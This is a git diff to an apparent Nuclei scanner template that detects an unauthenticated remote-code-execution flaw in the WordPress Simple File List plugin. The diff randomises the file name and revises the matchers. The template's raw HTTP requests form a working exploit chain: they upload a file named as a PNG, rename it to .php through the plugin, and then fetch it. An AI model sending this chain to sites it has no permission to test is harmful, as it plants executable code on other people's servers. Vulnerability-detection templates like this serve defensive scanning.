diff --git a/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml b/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml index 2790f6dfea..40881af7ec 100644 --- a/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml +++ b/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml @@ -12,9 +12,12 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-77 - tags: wpscan,wordpress,wp-plugin,rce,intrusive,fileupload,python metadata: max-request: 3 + tags: wpscan,wordpress,wp-plugin,rce,intrusive,fileupload,python + +variables: + filepath: '{{rand_base(7, "abcdefghi")}}' http: - raw: @@ -41,10 +44,10 @@ http: ba288252629a5399759b6fde1e205bc2 --6985fa39c0698d07f6d418b37388e1b2 - Content-Disposition: form-data; name="file"; filename="nuclei.png" + Content-Disposition: form-data; name="file"; filename="{{filepath}}.png" Content-Type: image/png - + --6985fa39c0698d07f6d418b37388e1b2-- - | @@ -54,28 +57,22 @@ http: Accept: */* Content-Type: application/x-www-form-urlencoded - eeSFL_ID=1&eeFileOld=nuclei.png&eeListFolder=%2F&eeFileAction=Rename%7Cnuclei.php + eeSFL_ID=1&eeFileOld={{filepath}}.png&eeListFolder=%2F&eeFileAction=Rename%7C{{filepath}}.php - | - GET /wp-content/uploads/simple-file-list/nuclei.php HTTP/1.1 + GET /wp-content/uploads/simple-file-list/{{filepath}}.php HTTP/1.1 Host: {{Hostname}} - Accept: */* matchers-condition: and matchers: - type: word + part: body words: - - 'Nuclei - Open source project (github.com/projectdiscovery/nuclei)' + - "aa5be3e9dec96f2f1a593b2f5b2288af" - "PHP Version" - "Configuration Command" - part: body condition: and - - type: word - words: - - 'text/html' - part: header + - type: status status: - 200 - -# Enhanced by mp on 2022/05/31